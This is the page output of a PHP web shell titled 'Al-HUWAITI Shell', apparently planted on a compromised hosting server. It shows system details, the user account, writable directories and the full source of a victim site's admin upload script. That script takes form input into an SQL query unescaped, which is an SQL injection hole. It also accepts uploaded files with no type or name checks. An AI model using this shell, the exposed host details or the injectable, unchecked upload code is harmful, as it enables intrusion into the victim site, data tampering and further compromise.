Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web1949.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
User : u595547767 ( 595547767)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/u595547767/domains/nilasevasamithi.com/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u595547767/domains/nilasevasamithi.com/public_html/admin/add_annualreport.php
<?php
     include_once('connect.php');
    session_start(); 
    
    // Check if the user is logged in
    if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
         echo "<script type='text/javascript'>window.location.href = 'index.php';</script>"; // Redirect to login page
        exit();
    }
    
    
    include_once('head.php');
?>
<?php
    
    if(isset($_POST["btnReportAdd"]))
    {
        $report_title=$_POST['txtReportTitle'];
        $filename = $_FILES["fileImg"]["name"]; 
        $tempname = $_FILES["fileImg"]["tmp_name"];     
        $folder = "uploads/annualreport/".$filename; 
        $filename1 = $_FILES["fileImg1"]["name"]; 
        $tempname1 = $_FILES["fileImg1"]["tmp_name"];
        $folder1 = "uploads/annualreport/".$filename1; 

        $sql=mysqli_query($con,"INSERT INTO tbl_annualreport (report_title,report_file, report_image) values('$report_title','$folder','$folder1')");
        mysqli_close($con);

        //FOR uploading image from tempname to uploads/annualreport folder
        if (move_uploaded_file($tempname, $folder)&&move_uploaded_file($tempname1, $folder1))  { 
                $msg = "Image uploaded successfully"; 
                if($sql){
                echo "<script>alert('Annual Report Added');</script>";
            }
            else{
                echo "<script>alert('Insertion Failed!');</script>";
            }
        }else{ 
             echo "<script>alert('Failed!!');</script>";
        } 
       
    }
    ?>

<head>
  <style type="text/css">
    textarea{
      width: 310px;
      height: 110px;
      border-radius: var(--bs-border-radius);
    }
  </style>
</head>
  <main id="main" class="main">

    <div class="pagetitle">
      <!-- <h1>Dashboard</h1> -->
      <nav>
        <ol class="breadcrumb">
          <li class="breadcrumb-item"><a href="index.html">Home</a></li>
          <li class="breadcrumb-item active">Add Annual Report</li>
        </ol>
      </nav>
    </div><!-- End Page Title -->
    <section class="section">
      <div class="row">
        <div class="col-lg-1">
        </div>
        <div class="col-lg-10">
          <div class="card">
            <div class="card-body">
              <div class="row mb-3 bord-bottom">
              <div class="col-lg-5"><h5 class="card-title">Add New Annual Report</h5></div>
              <div class="col-lg-5"><h5 class="card-title title-right"><a href="view_annualreport.php" class="btn btn-secondary">View All Annual Report</a></h5></div>
              </div>
              <div class="row mb-3">

              </div>
              <!-- General Form Elements -->
                <form name="FormAnnualreport" method="post" enctype="multipart/form-data" class="pt-20">
               <!--  <div class="row mb-3">
                  <label for="inputText" class="col-sm-3 col-form-label">Banner Title</label>
                  <div class="col-sm-5">
                    <textarea  id="txtBanTitle" name="txtBanTitle" class="textarea1" required=""></textarea>
                  </div>
                </div> -->
                <div class="row mb-3">
                  <label for="inputText" class="col-sm-3 col-form-label">Annual Report Title</label>
                  <div class="col-sm-5">
                   <input type="text" id="txtReportTitle" name="txtReportTitle" class="form-control"  required>
                  </div>
                </div>
                <div class="row mb-3">
                  <label for="inputText" class="col-sm-3 col-form-label">Annual Report Pdf File Upload</label>
                  <div class="col-sm-5">
                    <input class="form-control" type="file"  name="fileImg" id="fileImg" required="">
                  </div>
                </div>   
                 <div class="row mb-3">
                  <label for="inputText" class="col-sm-3 col-form-label">Annual Report Image Upload</label>
                  <div class="col-sm-5">
                    <input class="form-control" type="file"  name="fileImg1" id="fileImg1" required="">
                  </div>
                </div>           
                <div class="row mb-3 pt-20">
                  <label class="col-sm-3 col-form-label"></label>
                  <div class="col-sm-5 ">
                    <input type="submit" class="btn btn-primary  btn-center" name="btnReportAdd" id="btnReportAdd" value="Submit">
                    
                  </div>
                </div>

              </form><!-- End General Form Elements -->

            </div>
          </div>

        </div>
         <div class="col-lg-1">
        </div>
      </div>
    </section>

  </main><!-- End #main -->
  <?php
        include_once('footer.php');
   ?>

Al-HUWAITI Shell